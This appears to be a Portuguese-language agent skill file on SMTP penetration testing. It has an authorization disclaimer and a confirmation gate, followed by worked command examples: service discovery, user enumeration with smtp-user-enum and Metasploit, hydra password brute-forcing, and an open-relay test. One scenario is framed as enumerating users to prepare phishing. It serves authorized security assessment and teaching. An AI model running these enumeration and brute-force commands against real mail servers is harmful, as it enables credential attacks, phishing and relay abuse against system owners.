⚠️ USO AUTORIZADO APENAS Esta habilidade destina-se apenas a fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista em, extraia dados de ou tente acesso a credenciais contra um alvo:

1. Peça ao usuário para declarar o URL exato, IP, conta ou recurso alvo.
2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas em modo somente leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

USO AUTORIZADO APENAS: Use esta habilidade apenas para avaliações de segurança autorizadas, validação defensiva ou ambientes educacionais controlados.

Testes de Penetração SMTP

Guia Detalhado

Leia o guia detalhado antes de executar esta habilidade. Ele contém o procedimento completo e material de referência. Trate seus requisitos de segurança, pré-requisitos e validação como obrigatórios. Para trabalho focado, carregue as seções relevantes; para trabalho de ponta a ponta, leia o guia completamente.

Pré-requisitos

Ferramentas Necessárias

# Nmap with SMTP scripts
sudo apt-get install nmap

# Netcat
sudo apt-get install netcat

# Hydra for brute force
sudo apt-get install hydra

# SMTP user enumeration tool
sudo apt-get install smtp-user-enum

# Metasploit Framework
msfconsole

Conhecimento Necessário

• Fundamentos do protocolo SMTP
• Arquitetura de e-mail (MTA, MDA, MUA)
• Registros DNS e MX
• Protocolos de rede

Acesso Necessário

• IP/nome do host do servidor SMTP alvo
• Autorização por escrito para testes
• Listas de palavras para enumeração e força bruta

Restrições e Limitações

Requisitos Legais

• Teste apenas servidores SMTP que você possui ou tem autorização para testar
• Enviar spam ou e-mails maliciosos é ilegal
• Documente todas as atividades de teste
• Não abuse de relays abertos descobertos

Limitações Técnicas

• VRFY/EXPN geralmente desativados em servidores modernos
• Limitação de taxa pode desacelerar a enumeração
• Alguns servidores respondem de forma idêntica para usuários válidos/inválidos
• Greylisting pode atrasar as respostas de enumeração

Limites Éticos

• Nunca envie spam real através de relays descobertos
• Não colete endereços de e-mail para uso malicioso
• Relate relays abertos aos administradores do servidor
• Use as descobertas apenas para melhoria de segurança autorizada

Exemplos

Exemplo 1: Avaliação Completa de SMTP

Cenário: Avaliação completa de segurança do servidor de e-mail

# Step 1: Service discovery
nmap -sV -sC -p 25,465,587 mail.target.com

# Step 2: Banner grab
nc mail.target.com 25
EHLO test.com
QUIT

# Step 3: User enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.com

# Step 4: Open relay test
nmap -p 25 --script smtp-open-relay mail.target.com

# Step 5: Authentication test
hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.com

# Step 6: TLS check
openssl s_client -connect mail.target.com:25 -starttls smtp

# Step 7: Check email authentication
dig TXT target.com | grep spf
dig TXT _dmarc.target.com

Exemplo 2: Ataque de Enumeração de Usuários

Cenário: Enumerar usuários válidos para preparação de phishing

# Method 1: VRFY
smtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25

# Method 2: RCPT with timing analysis
smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com

# Method 3: Metasploit
msfconsole
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
run

# Results show valid users
[+] 192.168.1.100:25 - Found user: admin
[+] 192.168.1.100:25 - Found user: root
[+] 192.168.1.100:25 - Found user: postmaster

Exemplo 3: Exploração de Relay Aberto

Cenário: Testar e documentar a vulnerabilidade de relay aberto

# Testar via Telnet
telnet mail.target.com 25
HELO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<test@gmail.com>
# Se 250 OK - VULNERÁVEL

# Documentar com Nmap
nmap -p 25 --script smtp-open-relay --script-args smtp-open-relay.from=test@attacker.com,smtp-open-relay.to=test@external.com mail.target.com

# Saída:
# PORT   STATE SERVICE
# 25/tcp open  smtp

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